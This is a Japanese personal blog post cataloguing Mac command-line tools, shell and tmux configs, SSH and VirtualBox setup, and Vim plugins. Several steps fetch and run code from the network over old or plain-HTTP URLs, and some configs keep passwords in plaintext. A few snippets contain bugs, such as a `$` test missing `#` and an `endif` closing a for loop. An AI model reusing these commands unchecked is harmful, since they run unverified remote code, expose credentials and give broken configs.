MacBookAirで使用しているアプリ

Testing 50mm f1.8ここでは、私がMacBookAirで使用しているアプリをまとめてみようと思います。よく使用するものから紹介していきますが、長くなりそうなので簡易解説になります。その点はご了承ください。
photo credit: Vedia


iTerm2

iTerm2は、MacのTerminalアプリです。私は、Macではこのアプリをよく使います。



フォントをRictyに変更する



フォントをRictyに変更すると、アルファベットや数字の判別が分かりやすくなると思います。まずは、必要な物をインストール、適用し、そのあとは、Terminalでの作業になります。なお、すべての作業を端末内で行いたい場合は、後述するw3mというブラウザを使用します。



必要なもの
Inconsolata
Migu 1M

brew install fontforge --use-gcc

git clone https://github.com/yascentur/Ricty.git

cd Ricty && sh ricty_generator.sh auto

cp -f Ricty*.ttf ~/Library/fonts


ディレクトリを維持する



この設定をしておくと、ディレクトリを維持したまま新しいセッションをはじめることができます。設定方法は、Preferences → Profiles → General → Working_Directory を Reuse…にします。



ウィンドウを透過するキーを設定する



例えば、動画を見ながら作業することなんか多いと思いますが、私の場合は、ウィンドウの透過にてそれを実現しています。



まずは、iTerm2の設定にて、新たなプロファイルを作ります。もちろん、Windowの透過度はMaxです。



そして、そのプロファイルにショートカットキーを設定します。



もちろん、Defaultのショートカットキーも設定しておきます。



壁紙の設定

私はデスクトップの壁紙は黒ベースのシンプルなものを設定していますが、デスクトップの壁紙を黒ベースに設定するのも上のような理由があるわけです。もちろん、デスクトップを白にして、文字を黒にしてもいいのですが、Terminalのほとんどは文字は白ベースがデフォルトに設定されていることが多いように思います。よって、でできるかぎり設定の手間を減らすためには、このようにするのが個人的にベストかなと思っています。



壁紙のダウンロード
Windows
Mac
Ubuntu
BackTrack
iPhone
自作
Model:Phoenix
Model:Phoenix-Power

Homebrew

まずは、パッケージ管理システムのHomebrewをインストールしていきたいと思います。

/usr/bin/ruby -e "$(/usr/bin/curl -fsSL https://raw.github.com/mxcl/homebrew/master/Library/Contributions/install_homebrew.rb)"


Homebrewを使用するにあたって、問題が生じた場合は、brew doctorで調べます。

zsh

Shellであるzshを拡張する設定の数々を紹介していきたいと思います。簡易にではありますが、もっと良い設定があれば、コメントにて補足していただければありがたいと思います。
brew install zsh

chsh -s /bin/zsh


これは、zshをダウンロードしておきながら、デフォルトを使用する設定です。ダウンロードした`zsh`を使用したい場合は、こちらを参考にしてください。

autojump



autojumpは、移動を簡単にしてくれるツールです。補完関数のパッケージを$fpath以下においてやると、効果を発揮します。また、補完関数を自作することもできます。

% brew install autojump

z



autojumpよりもzのほうがいいという人もいます。私もそう思います。

git clone https://github.com/rupa/z.git

または

brew install z


そして、設定ファイルに以下を付け足します。これで、jを押すと、履歴JUMPが使えます。もし使用できない場合は、こちらを使用してみてください。

_Z_CMD=j
source ~/z/z.sh
precmd() {
  _z --add "$(pwd -P)"
}


auto-fu.zsh



auto-fu.zshは、自動補完を簡単にしてくれるツールです。

git clone https://github.com/hchbaw/auto-fu.zsh.git

echo "source ~/auto-fu.zsh/auto-fu.zsh" >> ~/.zshrc


以下のように設定すると良いと思います。

#auto-fu.zsh
if [ -f ~/auto-fu.zsh/auto-fu.zsh ]; then
    source ~/auto-fu.zsh/auto-fu.zsh
    function zle-line-init () {
        auto-fu-init
    }
    zle -N zle-line-init
    zstyle ':completion:*' completer _oldlist _complete
fi


canything



`zsh`でanything.elライクな環境を整えるには、canythingがお勧めです。`auto-fu.zsh`と同一作者のzaw.zshでもいいのですが。

sudo aptitude install libncursesw5-dev

git clone https://github.com/keiji0/canything

cd canything && make

mkdir -p ~/bin && mv canything ~/bin


おすすめの設定は、gistyで管理しているリポジトリのワーキングディレクトリに一覧から選んで移動する設定です。

# -*- sh -*-
zmodload zsh/parameter

function zaw-src-gisty() {
    candidates=("${(ps:\n:)$(gisty list)}")
    actions=("zaw-callback-gisty-append-to-buffer")
    act_descriptions=("append to edit buffer")
}

zaw-register-src -n gisty zaw-src-gisty

function zaw-callback-gisty-append-to-buffer() {
    local gitdir=`echo "${(j:; :)@}" | cut -d":" -f1`
    local destpath=$GISTY_DIR/$gitdir
    if [ -n "$gitdir" -a -d "$destpath" ]
    then
        LBUFFER="${BUFFER}${destpath}"
    fi
}


コマンドラインスタック



`zsh`では、コマンドラインスタックというものを使うと利便性が向上します。これは、簡単には、入力を一時避難しておくようなものです。コマンドラインスタックの使い方は、Esc-qEsc-hです。また、避難したものを表示しておくようにすると、更に便利です。

show_buffer_stack() {
  POSTDISPLAY="
stack: $LBUFFER"
  zle push-line-or-edit
}
zle -N show_buffer_stack


oh-my-zsh



oh-my-zshは、`zsh`のカスタマイズを簡単にするようなものです。設定ファイルの集まりといえば分かりやすいでしょうか。有志たちが公開してくれている設定を簡単に取り込めます。特に、Promptの設定においては、大いに参考になると思います。`zsh`のPromptの設定を書くのはとても面倒くさいので。
git clone git://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh

cp -i ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc


zsh-git-prompt



zsh の Prompt に Git の Repository 情報を表示するには、zsh-git-promptがお手軽です。ただ、私の場合は、ククログのzshrcを参考にして書きました。設定ファイルに日本語で設定方法が解説されているので、非常にわかりやすかったです。

git clone https://github.com/olivierverdier/zsh-git-prompt.git 

cd zsh-git-prompt

mkdir -p ~/.zsh/git-prompt

cp gitstatus.py ~/.zsh/git-prompt

echo "source ~/zsh-git-prompt/zshrc.sh" >> ~/.zshrc

echo "PROMPT='%B%m%~%b$(git_super_status) %#" >> ~/.zshrc




tmux

tmuxとは、Virtual環境を構築するツールのことです。screenscreenとともに有名です。ここでは、tmuxを便利にする設定の数々を紹介していきたいと思います。

brew install tmux


screen風のキーバインドを使用する



mkdir -p ~/.tmux.d

sudo cp /opt/local/share/doc/tmux/screen-keys.conf ~/.tmux.d

echo "source ~/.tmux.d/screen-keys.conf" > ~/.tmux.conf


Setting File Sample



設定ファイルのサンプルは、GitHubに挙げられているものが参考になります。設定ファイルの書き方はこちらが参考になります。

#prefixキーの変更
set-option -g prefix ^_

#viのキーバイドを使用する
set-window-option -g mode-keys vi

#C-h,lでウィンドウの移動
unbind-key C-h
unbind-key C-l
bind -n C-h previous-window
bind -n C-l next-window


MacのtmuxでClipboardを利用する



Macでは通常、`tmux`の画面間での`Clipboard`の共有ができません。しかし、以下の手順を踏むことで、それが実現できます。

mkdir ~/bin && echo "PATH=$HOME/bin:$PATH" >> ~/.zshrc

git clone git://github.com/ChrisJohnsen/tmux-MacOSX-pasteboard.git

cd ~/tmux-MacOSX-pasteboard

make reattach-to-user-namespace

cp reattach-to-user-namespace ~/bin

vim ~/.tmux.conf


以下のように書きます。すると、Macの`tmux`で普通にClipboardを利用することができます。なお、WindowsやLinuxでは、クリップボードを表現する文字列が異なりますので、注意が必要です。

#クリップボードの共有
set-option -g default-command "~/bin/reattach-to-user-namespace -l $SHELL"

#C-cでコピー
bind-key C-c run "tmux save-buffer - | ~/bin/reattach-to-user-namespace pbcopy"

#C-vで貼り付け
bind-key C-v run "~/bin/reattach-to-user-namespace pbpaste | tmux load-buffer - && tmux paste-buffer"


tmuxのPromptに様々な情報を表示する



tmuxのPromptに様々な情報を表示するには、情報を取得するShellScriptが必要になります。それらを作成した後、設定ファイルに以下のように書きます。長くなりそうなので、詳しくは、上の記事を見てください。

# ステータスライン - Right
set -g status-right '< #[fg=black,bold]#(echo $LANG)#[default] < #[fg=blue]up #(pc-running-time)#[default] < #[fg=magenta](#(loadaverage)) Mem #(used-mem)%%#[default] < #[fg=red,bold]%y/%m/%d(%a)%H:%M:%S#[default] '

# Rightの表示領域最大長
set -g status-right-length 90




weechat

weechatとは、`IRC Client'のことで、いわばチャットアプリです。Growlとの連携で更に便利になります。Pluginのことを考えると、下の手順でインストールしたほうが良いと思います。

brew install weechat

または、

brew install weechat --ruby --perl --python


mutt+Gmail

mutt+GmailでCUIメール環境を構築する方法です。これについても、簡易手順なので、それぞれにカスタマイズしていただければと思います。

brew install mutt

brew install msmtp

mkdir -p ~/.mutt/cache/headers && mkdir ~/.mutt/cache/bodies && touch ~/.mutt/certificates

curl http://cache.gawker.com/assets/images/lifehacker/2010/06/muttrc-gmail.txt > ~/.muttrc

vim ~/.muttrc


以下の項目を自分のアカウントのものに書き換えます。



fu

fuとは、ワンライナーを簡単に投稿、共有できるCommand-Line-Fuの`CLI Client`です。また、cmdline-fuもお勧めです。

git clone git://github.com/samirahmed/fu.git

cd fu/

sudo make install


以下は`fu`の簡単な使い方です。作者による動画も公開されているので、そちらの方も参考になります。

#検索して結果をすべてを表示
fu -a キーワード

#2番目をコピー
fu -c 2


peep

peepとは、Command LineでGoogleReaderを確認するツールです。使い方は簡単で-nオプションで未読数を表示します。キーは、ヘルプが?で終了はqです。記事を読むにはOを押します。
git clone https://github.com/ryuji/peep

echo "alias peep='~/peep/peep'" >> ~/.zshrc


w3m

w3mとは、テキストブラウザのことです。今やURLの認証などは当たり前で、すべての動作をコマンドラインから行おうとした場合、意外と役に立ちます。もちろん、ブラウジングにも役に立ちますが。



ここでは、`w3m`のkeymap設定例を紹介しておきます。

#'m'で カーソル下のURLをコピーする
keymap m EXTERN_LINK "echo %s | pbcopy"

#'M'で現在開いているURLをコピーする
keymap M EXTERN "echo %s | pbcopy"


zshで使用するデフォルトのブラウザをw3mに変更する



これをやっておくと、記事をw3mで開くことができます。

echo "export BROWSER=w3m" >> ~/.zshrc


w3mで簡単に検索を実行する



以下を設定ファイルに書いておくことで、例えば、google-search キーワードとすることで、Google検索ができ、alc キーワードとすることで、英語検索ができます。

# google 検索
function google-search() {
local str opt
if [ $ != 0 ]; then
for i in $*; do
str="$str+$i"
done
str=`echo $str | sed 's/^\+//'`
opt='search?num=50&hl=ja&lr=lang_ja'
opt="${opt}&q=${str}"
fi
w3m http://www.google.co.jp/$opt
 }

# w3mでALC検索
function alc() {
if [ $ != 0 ]; then
w3m "http://eow.alc.co.jp/$*/UTF-8/?ref=sa"
else
w3m "http://www.alc.co.jp/"
fi
}


Sheet

Sheetとは、Command Lineで動作するチートシート補助ツールのようなものです。依存関係の解消には、bundlerを使います。rvm installを使用するには、gccを使います。Xcode4.3以降は、gccがインストールされないので、インストールしておきましょう。

brew install ruby

gem install bundler

git clone --depth 1 git://github.com/wayneeseguin/rvm.git

cd rvm

./install

rvm install 1.9.2

rvm use 1.9.2

cd ~/

git clone https://github.com/oscardelben/sheet.git

cd sheet

bundle install

gem install sheet


なお、前提として、rvmRubyGemsがインストールされていると便利です。

sudo port install rb-rubygems

gem install rvm


Sheetの使い方は、sheet new testなどのコマンドで作成したシートをsheet listなどで開きます。

rtorrent

よく容量が大きい`iso`ファイルの配布などには、`torrent`ファイルが使われることがあります。これは、あるファイルをダウンロードしたいという場合に、ユーザー間でファイルの不足分を補う形でダウンロードとアップロードをすることで、人気のあるものほど高速でダウロードできるというものです。また、ファイルの配布者にとっても負担軽減になるため、広く使われている技術でもあります。

よって、個人的には、人気のある Linux ディストリビューションは、Torrent Clientでダウンロードすることがよくあります。ここでは、その`Torrent Client`の一つであるrtorrentの使い方を紹介します。

ただし、`torrent`ファイルを使用する場合、アップロードも同時に行なってしまうので、ダウンロードするファイルには、細心の注意をはらいましょう。また、アップロードには特定のPortを使用するため、ファイアウォールを一部解除しなければならないことがあります。よって、セキュリティ上も注意が必要です。

% brew install rtorrent

使い方は簡単で、^Qで終了です。^Sでスタートとストップです。Enterで`Mode`を切り替えてファイルを選択できます。



なお、ファイルの総容量が大きすぎるため、ファイルが分割されていることがあります。そういったときは、ファイルを結合しましょう。例えば、CentOS-1of7.isoからCentOS-7of7.isoがあったとして、その場合は以下のようにします。なお、進行度を表示したい場合はオプションを付けてください。

cat CentOS-* > CentOS.iso


wol

wolとは、`Wake-on-LAN`の略で、簡単に言えば、パソコンの電源をリモートで入れられるアプリのことです。パソコンは、マジックパケットというものを受信すると、パーツや設定にもよりますが、リモートで電源が入るようになっています。

サーバー側(Ubuntu)



sudo apt-get install ethtool

sudo vim /etc/rc.local


そして、設定ファイルのexit0の上に以下を追記します。

/usr/sbin/ethtool -s eth0 wol g

exit0


クライアント側(Mac)



brew install wakeonlan

wakeonlan  -i <IP Address> <Mac Address>


もちろん、LAN経由のみならず、WAN経由でも遠隔でパソコンの電源をいれることは可能です。また、`iPhone`や`Android`のFing)でも`WOL`は可能なので試してみてください。

% git clone git://gist.github.com/3018095.git

参考:Wake-on-LANのマジックパケットを投げつけるだけ

ダイナミックDNS



WAN経由で遠隔操作する場合、サーバーのグローバルアドレスの変化を通知するようにしておきましょう。もちろん、サーバー側での設定です。

まず、MyDNS]に登録します。次に、メール送信ソフトとスケジュールソフトのインストールと設定を行います。

sudo apt-get update && sudo apt-get install fetchmail

sudo chmod 710 ~/.fetchmailrc

sudo nano ~/.fetchmailrc


そして、設定ファイルを以下のように編集します。

user <MyDNSのID>

password <MyDNSのパスワード>

is <サーバーのアカウント> here


あとは、定期的に実行するスケジュールアプリを設定しておきます。

crontab -e

0*** /usr/bin/fetchmail -f $HOME/.fetchmailrc 1> /dev/null 2>&1


kptool

kptoolとは、keepassのCLI版のようなものです。そして、keepassとは、パスワード管理アプリです。独自に暗号化、復号化アプリを用いてパスワードを管理するのもいいのですが、こういうパスワード管理アプリを使用するのもいいように思います。

git clone https://github.com/shirou/kptool.git

cd kptool/kptool

python kptool.py ~/kptool/tests/keepass-test.kdb




エイリアスを設定しておくと便利に利用できます。動作確認のためにも実行しておきましょう。
echo "alias keepass='python ~/kptool/kptool/kptool.py ~/kptool/tests/keepass-test.kdb'" >> ~/.zshrc

source ~/.zshrc

keepass


他にもpython-keepassというものがあります。

GoogleCL

例えば、画像をアップロードするには、GoogleCLが便利です。BloggerへのPostもできますが、私は、主に画像のアップロードに使っています。GoogleCLをインストールするには、以下のコマンドを実行します。

% sudo port install googlecl

後は、Shellの設定ファイルに以下のようなエイリアス(ショートカット)を設定おけば、picasaというコマンド一発で、特定のフォルダに入れた画像ファイルを一括アップロードできます。

alias picasa='google picasa post -n "blogger" ~/Pictures/blogger/* && rm ~/Pictures/blogger/*'


このエイリアスは、picasaを実行すると、~/Pictures/bloggerフォルダにあるファイルをPicasaに一括アップロードし、アップロードした後は、~/Pictures/bloggerフォルダにあるファイルをすべて削除するというものです。



GoogleCLでは、その他、Googleカレンダーの確認やBloggerへのポストができます。

mosh

moshとは、`SSH`に代わる新しいリモートツールのことです。moshの特徴は、`SSH`にはないIP Addresの追跡機能やレスポンスの快適さにあります。基本的には、SSHの設定が使えますので、接続した後は、そちらを参考にしてください。

sudo apt-get install mosh


brew install mobile-shell

mosh remotehost --server="LANG=$LANG mosh-server"

mosh mba@192.168.0.101


VirtualBox

私は、VirtualBoxを使って仮想環境を構築し、複数のデスクトップやサーバーを起動することがよくあります。そんな時、仮想環境を直接操作することが通常ですが、たまにリモート操作したほうが便利なことがあります。そんな時は、リモート操作するために、VirtualBoxのネットワーク設定と`SSH`の設定が必要になります。ここでは、その設定方法を書いていきたいと思います。

VirtualBoxの初期設定



非常に申し訳ないのですが、VirtualBoxでOSをインストール手順については省略させて頂きます。ここでは、仮想環境にUbuntu12.04をインストールすることで、話を進めていきたいと思います。

VirtualBox上でUbuntuを起動する



VirtualBox上でUbuntuを起動させます。VBoxManageなどのコマンドを使用するといいと思います。

#OSリストの確認
VBoxManage list vms

#VRDP接続を有効にする
VBoxManage modifyvm ubuntu12.04 --vrde on

#ゲストOSの起動
VBoxManage startvm ubuntu12.04


VirtualBoxのネットワーク設定



VirtualBoxホストをリモート操作する場合は、NAT + ポートフォーワーディングまたは、ホストオンリーアダプタの方法が一般的です。ここでは、後者の方法を採用し、設定していきたいと思います。

VirtualBox > 環境設定 > ネットワーク


VirtualBox > Ubuntu > 設定 > ネットワーク


SSHの設定



以下、サーバーが`Ubuntu`であり、クライアントが`Mac`となります。これを前提に読み進めていただけるとありがたいです。

SSHの接続設定



サーバー側の操作

ifconfig

sudo vi /etc/network/interfaces


設定ファイルに以下を追記します。なお、上で確認した`IP Address`を参考にしてください。

auto eth1
iface eth1 inet static
        address 192.168.56.2
        netmask 255.255.255.0
        network 192.168.56.0
        broadcast 192.168.56.255
        gateway 192.168.56.1
        up route del default gateway 192.168.56.1


あとは、必要なアプリをインストールしていきます。

sudo /etc/init.d/networking restart

または

sudo shutdown -r now

sudo apt-get update && sudo apt-get install openssh-server

sudo ufw allow ssh

which ssh-copy-id


次に、公開鍵方式でリモート接続を試みます。鍵の明け渡しに、`ShellScript`を使用するのですが、それをサーバーからコピーして利用することにします。もちろん、ダウンロードしてもいいです。

クライアント側の操作
sftp 192.168.56.2

>get /usr/bin/ssh-copy-id

>exit

mv ssh-copy-id /usr/local/bin

source .zshrc

ssh-keygen
[保存先を聞かれたら'Enter'を押す。鍵のパスワード設定を聞かれるので入力する。決定したパスワードを再入力する。実行後、秘密鍵と公開鍵が'~/.ssh'以下に保存される]

cd ~/.ssh && mv id_rsa.pub identity.pub

ssh-copy-id 192.168.56.2

ssh 192.168.56.2




SSHの認証設定



サーバー側にリモート接続できている状態でsudo vi /etc/ssh/sshd_configのコマンドを実行し、SSHの認証設定を行います。セキュリティに配慮した設定です。パスワード認証にしてしまうと、無差別のブルートフォース攻撃により突破される危険があります。

#パスワード認証を無効化
PasswordAuthentication no


設定しておくと便利なエイリアス



以下のようなエイリアスを設定しておくと、すぐに仮想OSを起動できるので、便利です。

# 'ubuntu'でVirtualBoxのUbuntuを起動する
alias ubuntu='VBoxManage modifyvm ubuntu --vrde on && VBoxManage startvm ubuntu'

# 'windows'でVirtualBoxのWindowsを起動する
alias windows='VBoxManage modifyvm windows --vrde on && VBoxManage startvm windows'


jdownloader

jdownloaderとは、`Download Manager`のことです。時にファイルをブラウザのダウンローダーでダウンロードしようとすると、ブラウザの挙動により、またはダウンローダーとしての機能によりダウンロード中のファイルが失われ、最初からダウンロードするような事態が起きてしまいがちです。そのようなときは、jdownloader等を使用するとよいでしょう。また、jdownloaderは、パスワードを自動解析し、解除したり、自動で解凍したりといった設定が可能なので、色々と便利です。

ただし、このアプリは、VLC(後述)などと違ってGUIを基本としたアプリです。よって、CUL操作もできることはできますが、GUI操作が基本となります。なお、Macの場合は、VLCと同様にエイリアスを設定しておくと便利です。Linuxの場合は不要でした。

#ダウンロードを開始する
JDownloader -start

#ダウンロードを停止する
JDownloader -stop

#ファイルを追加する
JDownloader -add 

#終了する
JDownloader -quit


また、`Ubntu`の場合は、以下のようにすると、すぐにインストールできます。また、完全な日本語化も可能です。

sudo apt-add-repository ppa:jd-team/jdownloader

sudo apt-get update

sudo apt-get install jdownloader


Sublime Text 2

Command Lineで動作するというわけではありませんが、`Vim`以外のエディタとしては、Sublime Text 2がお勧めです。

パッケージ管理



コンソールをCommand+Shift+@を押して表示し、以下のコマンドを実行します。

import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation'


Themeの設定



パッケージコントロールをCommnad+Shift+pを押して表示し、installという項目にて、Theme - Sodaというパッケージを検索し、追加していきます。

Sublime Text 2 -> Preferences -> Settings - User を選択し、設定ファイルに以下を追記します。

{
    "theme": "Soda Dark.sublime-theme"
}




パッケージの追加



1. URLを用いたパッケージの追加
Commnad+Shift+pを押し、add repositoryを選択します。そして、URLを入力しEnterを押します。

2. 検索を用いたパッケージの追加
Commnad+Shift+pを押し、installを選択します。そして、キーワードで検索し、Enterを押します。

また、おすすめパッケージなども多数あります。

pkill

プロセスの終了には、通常、PID(プロセスIDのことだと思う)が必要になります。しかし、topコマンドなどを使って、PIDを調べるのも面倒ですので、私は、プロセス名からPIDを検索し、それを`kill`する方法をよく利用します。pkillを使えば、それが簡単にできます。

brew install pkill


Global IP Addressの確認

下のコマンドは、単に、Webサイトのリクエストを実行しているだけですが、`Global IP Address`の確認ができます。
curl ifconfig.me


purge

purgeとは、`Mac`のメモリを開放するコマンドです。`Xcode`を入れると、同時に入ります。

% purge

動作が一瞬停滞しますが、アプリのクラッシュなどはなく、踏み込んだメモリ解放はおこなっていない様子です。docsを見てみましょう。ここでは、ページャーであるlessをインストールしてみます。

brew install less

man purge | less -N


ディスクキャッシュとして確保されているメモリを解放して起動時の状態に近づけるとあります。また、特定できないメモリの確保には影響しないとあります。よって、効果は高いけど、悪影響も小さいということでしょう。安心して使えそうですね。

Blogger.vim

Blogger.vimを導入することで、Vim EditorからBloggerへの投稿ができます。また、Blogger.vimは、Markdownで書いたものをHTMLに変換して投稿できるので、非常に便利です。ここでは、Bloggerへの投稿方法と投稿した記事を編集する方法、そして、Markdown記法について紹介していきたいと思います。

sudo port install pandoc

gem install nokogiri

gem install net-https-wrapper

sudo port install git


なお、MacPortというパッケージ管理システムをインストールしていない場合は、MacPortをダウンロードし、インストールします。また、MacPortの動作には、Xcodeが必要になることがあります。よって、Xcodeをインストールしておきましょう。さらに、Xcodeを起動して、「Preferences…」→「Downloads」→「Command Line Tools」と進み、インストールしておくと便利です。

その他、RubyGemsがインストールされていない場合は、以下のようにします。
sudo port install rb-rubygems


後は、Vim Pluginのインストールと設定です。必要なプラグインをVundleを使ってインストールしていきます。
git clone https://github.com/gmarik/vundle.git ~/.vim/bundle/vundle
 
echo "source ~/.vim/bundle/vundle/test/minirc.vim" >> ~/.vimrc
 
vim ~/.vim/bundle/vundle/test/minirc.vim


そして、~/.vim/bundle/vundle/test/minirc.vimを以下のように編集します。

set nocompatible
syntax on
filetype off
set rtp+=~/.vim/bundle/vundle/
call vundle#rc()
" プラグインの管理
Bundle 'gmarik/vundle'
 
" gitリポジトリの内容を参照する
Bundle 'kana/vim-metarw'
 
" bloggerに投稿する
Bundle 'ujihisa/blogger.vim'
 
" プラグインの読み込みパスを変更
Bundle 'tpope/vim-pathogen'
 
filetype plugin indent on


最後に、Vimコマンドである:BundleInstallを実行すれば、Vim Pluginがインストールされます。

後は、プラグインに必要な設定を行なっていきます。具体的には、Blogger.vimの動作に必要なBloggerアカウント情報などを設定ファイルに書いていきます。~/.vimrcに以下を追記します。なお、your_blogid_hereの部分、つまりブログIDは、ブログの管理画面のURLを見れば分かると思います。

let g:blogger_blogid = 'your_blogid_here'
let g:blogger_email = 'your_email_here'
let g:blogger_pass = 'your_blogger_password_here'


もし起動しない場合は、以下の手順を試してみましょう。
git clone https://github.com/ujihisa/blogger.vim.git

cd blogger.vim

mkdir -p ~/.vim/autoload/metarw/

cp autoload/metarw/blogger.vim ~/.vim/autoload/metarw/ && cp autoload/metarw/blogger.rb ~/.vim/autoload/metarw/

which ruby

echo "let g:blogger_ruby_path = '[which ruby]で調べたパスを記入する'" >> ~/.vimrc


使い方は簡単です。以下のコマンドを入力するだけです。Vim上からBloggerへの投稿や過去の記事を取得し、編集ができたりします。



#Bloggerに投稿する
:w blogger:create

#Bloggerのリストを取得する
:e blogger:list


Gist.vim

Gist.vimを使用することで、Codeを簡単に投稿したり、ブログに埋め込んだりすることができます。ここでは、Gist.vimを使って、GistにCodeを投稿し、それをブログに埋め込むまでを紹介していきたいと思います。

ただし、Gistを利用するには、GitHubへの登録が必要になります。GitHubのアカウントをお持ちでない方は、登録しておきましょう。

Bundle 'mattn/gist-vim'


:BundleInstallも忘れずに。以下この手順については、省略します。

次に、ドキュメントにあるように、必要な物を用意します。以下のコマンドを実行してください。

% mkdir ~/.vim/cookies && touch ~/.vim/cookies/github

そして、設定ファイルに以下を追記します。
let g:gist_clip_command = 'pbcopy'
let g:gist_detect_filetype = 1
let g:github_user = 'usrename'


これで、コードを書いて、:Gistなどとすると、Gistへの投稿が完了し、URLがクリップボードに取得されます。



また、以下を設定ファイルに書くことで、クリップボードにGistへのURLが保存されている状態で:PasteGistを実行すれば、GistへのURLが埋め込みコードに変換されます。これに関しては、Gist.vimの導入とヘルパースクリプトの作成がとても参考になります。ここに載っているコードを簡単にではありますが、改良してみました。

" PasteGist
func! s:paste_gist_tag()
  let mx = 'http[s]\?://gist.github.com/\([0-9]\+\)'
  " +または"レジスタの中身を検索する
  let regs = [@+,@"]
  for r in regs
    let mlist = matchlist(r, mx)
    if ( len(mlist) > 2 )
      "カーソル行に挿入
      exe "normal! O<script src='https://gist.github.com/" . mlist[1] . ".js'></script>"
      return
    endif
  endif
endfunc
command! -nargs=0 PasteGist     call paste_gist_tag()


これで、Vim上からGistへコードを投稿し、ブログへの埋め込みコードを取得することができるようになります。



Zencoding-vim

Zencoding-vimとは、省略記法でHTMLへの変換を実現するVim Pluginのことです。Zencoding-vimは、ブログをやっている人なら便利に使えると思います。

Bundle 'mattn/zencoding-vim'


私がよく使う記法は、以下のものです。記法を入力した後に、C-y-,を入力すると、記法がHTMLに変換されます。
span:code

↓

<span class="code"></span>


TweetVim

TweetVimは、`Twitter Client`です。導入は少しばかり面倒ですが、`Vim`上で動作するためかなり便利だと思います。また、Command Lineで動作する`Twitter Client`としては、tなどもあります。



"TweetVimとその依存関連
Bundle 'basyura/TweetVim'
Bundle 'mattn/webapi-vim'
Bundle 'basyura/twibill.vim'
Bundle 'tyru/open-browser.vim'
Bundle 'h1mesuke/unite-outline'
Bundle 'basyura/bitly.vim'


ファイルを保存した後は、:BundleInstallとすると、プラグインがインストールされます。

VimFiler

VimFilerとは、`Vim`で動くファイルマネージャーのことです。brew install mcmcを入れてもいいのですが、Vimの操作に慣れている方は、VimFilerがお勧めです。

"VimFilerと依存関連
Bundle 'Shougo/vimfiler'
Bundle 'Shougo/unite.vim'
Bundle 'Shougo/vimproc'


そして、以下の設定をしておくと、VimFilerを普通に使えるようになります。

"VimFilerエクスプローラーの設定
let g:vimfiler_as_default_explorer=1

"VimFilerセーフモードの設定
let g:vimfiler_safe_mode_by_default=0


VimShell

VimShellとは、`Vim`で動くシェルエミュレータです。導入しておくと、開発環境が便利になります。

Bundle 'Shougo/vimshell'


コンパイルと必要なファイルの移動





cd ~/.vim/bundle/vimproc/

make -f make_mac.mak

cp vimproc_mac.so ~/.vim/bundle/vimproc/autoload


デバッガなどのインストール



実行可能バイナリを検査するためのツールなどを入れていきます。

brew install binutils

brew install cgdb


VimShellの使用例



`Vim`を起動し、:VimShellを実行します。

echo "int main(void) {return 0;}" > hello.c

gcc hello.c

gobjdump a.out

cgdb ./a.out


vim-quickrun

vim-quickrunは、`Vim`で編集中のプログラムの実行結果を確認できる`Vim Plugin`です。

Bundle 'thinca/vim-quickrun'


デフォルトでは、<Leader>rを押すと、実行結果を確認できます。

teol.vim

`C`などを書くときに行末につける;を忘れてしまうことはありませんか。そんな時は、teol.vimが便利です。

Bundle 'vim-scripts/teol.vim.git'


例えば、<Leader>;を入力すると、行末に;が挿入されます。

vim-smartchr

見栄えを良くするために半角スペースを使用することは多くありませんか。そんな時は、vim-smartchrを使って設定を行なっておくと便利ですよ。

Bundle 'kana/vim-smartchr'


参考:Shougo/shougo-s-github

例えば、=と入力すると、スペースを含めた = が入力されるようにSettingしてみます。

inoremap <expr> = smartchr#loop(' = ', ' == ', ' === ', '=')


simplenote.vim

私はメモ帳にSimplenoteを多用しています。`Cloud`に保存されることと、端末向けのSimplenote Clientが用意されていることや、URLを手軽にクリップできるのも大きいです。今回は、`Vim`上で動作するSimplenote.vimの紹介です。

Bundle 'mrtazz/simplenote.vim'


あとは、~/.vimrcSimplenoteのアカウント情報を入力しましょう。

" Simplenote アカウント情報
let g:SimplenoteUsername = "your simplenote username"
let g:SimplenotePassword = "your simplenote password"


これで例えば、:Simplenote -lとすると、リストが表示され、直感的な操作でメモを閲覧、編集できます。



~/.vimrc

VimのキーバインドをEmacs風にする



`Vim`とは、`Plugin`が豊富な`Editor`のことです。私は、`Keybind`は基本的にはEmacsのほうが好きなのですが、`Plugin`は`Vim`だと思っています。よって、最初に、Emacs風のkeybindを設定ファイルに書いてみます。

" 矢印キーの使用
inoremap <C-p> <Up>
inoremap <C-n> <Down>
inoremap <C-b> <Left>
inoremap <C-f> <Right>
inoremap <C-e> <End>
inoremap <C-a> <Home>
inoremap <C-h> <Backspace>
inoremap <C-d> <Del>
" カーソル位置の行をウィンドウの中央に来るようにスルロール
inoremap <C-l> <C-o>zz
" カーソル以前の文字を削除
inoremap <C-u> <C-o>d0
" カーソル以降の文字を削除
inoremap <C-k> <C-o>D
" アンドゥ
inoremap <C-x>u <C-o>u
" 貼りつけ
inoremap <C-y> <C-o>P
" カーソルから単語末尾まで削除
inoremap <F1>d <C-o>dw
" ファイルの先頭に移動
inoremap <F1>< <Esc>ggI
" ファイルの末尾に移動
inoremap <F1>> <Esc>GA
" 下にスクロール
inoremap <C-v> <C-o><C-f>
" 上にスクロール
inoremap <F1>v <C-o><C-b>
" Ctrl-Space で補完
" Windowsは <Nul>でなく <C-Space> とする
inoremap <Nul> <C-n>


参考:vimのインサートモード時のキーバインドをemacsに似せる 2

私の場合、カーソル1文字移動は`Vim`風の`Keybind`のほうが好きなので、そこら辺は変更してあったりと、上の設定とはちょっとばかり異なります。

コマンドモードへの移行



" insert mode でjjでesc
inoremap jj <Esc>


参考:yuroyoro/dotfiles

自動的な移動


" カッコやクオートなどを入力した際に左に自動で移動します
inoremap {} {}<Left>
inoremap [] []<Left>
inoremap () ()<Left>
inoremap "" ""<Left>
inoremap '' ''<Left>
inoremap <> <>


参考:Vimでキーバインドを設定する

Mplayer

Mplayerとは、`Command Line`で動作するメディアプレイヤーのことです。

brew install mplayer


私は、動画を再生するときは基本的に倍速再生します。なので、`]`を押して、倍速再生してみます。

Speace //スタートまたは、ストップ

Enter //次へまたは、終了

< //前へ

> //次へ

[ //遅い

] //速い

q //終了


